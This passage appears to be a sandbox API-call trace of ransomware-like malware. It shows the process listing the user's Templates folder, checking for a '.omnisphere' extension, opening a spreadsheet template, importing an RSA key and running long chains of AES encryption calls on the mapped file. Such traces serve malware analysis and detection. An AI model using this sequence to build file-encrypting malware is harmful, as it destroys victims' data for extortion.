ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe3719c0d, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xf50bbe18, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0117.295] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x348a4400, ftLastWriteTime.dwHighDateTime=0x1d24188, nFileSizeHigh=0x0, nFileSizeLow=0x5cc66, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Cashflow analysis.xltm", cAlternateFileName="CASHFL~1.XLT")) returned 1 [0117.295] GetProcessHeap () returned 0x1600000 [0117.296] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162ccb8 [0117.296] PathCombineW (in: pszDest=0x162ccb8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", pszFile="Cashflow analysis.xltm" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" [0117.296] StrStrW (lpFirst=".omnisphere", lpSrch=".xltm") returned 0x0 [0117.296] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Cashflow analysis.xltm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\cashflow analysis.xltm"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.296] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=380006) returned 1 [0117.297] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x5c742, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0117.297] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0d770, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0dcb8, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesRead=0x3e0dcb8*=0x524, lpOverlapped=0x0) returned 1 [0117.298] GetTickCount () returned 0x115d51f [0117.298] GetTickCount () returned 0x115d51f [0117.298] GetTickCount () returned 0x115d51f [0117.298] GetTickCount () returned 0x115d51f [0117.299] GetTickCount () returned 0x115d51f [0117.299] GetTickCount () returned 0x115d51f [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.299] GetTickCount () returned 0x115d52e [0117.300] GetTickCount () returned 0x115d52e [0117.300] GetTickCount () returned 0x115d52e [0117.300] GetTickCount () returned 0x115d52e [0117.300] GetTickCount () returned 0x115d52e [0117.300] GetTickCount () returned 0x115d52e [0117.300] GetTickCount () returned 0x115d52e [0117.300] GetTickCount () returned 0x115d52e [0117.300] GetTickCount () returned 0x115d52e [0117.300] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x1668f88) returned 1 [0117.300] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x1639b28) returned 1 [0117.301] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0117.301] CryptDestroyKey (hKey=0x1639b28) returned 1 [0117.301] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0117.301] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5cc66, lpName=0x0) returned 0x28c [0117.301] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5cc66) returned 0x1700000 [0117.309] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x16683d8) returned 1 [0117.310] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x16394e8) returned 1 [0117.310] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.310] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.311] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.311] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.311] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.311] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.311] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.311] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.311] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.311] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.311] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.311] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.311] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.311] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.313] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.314] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, 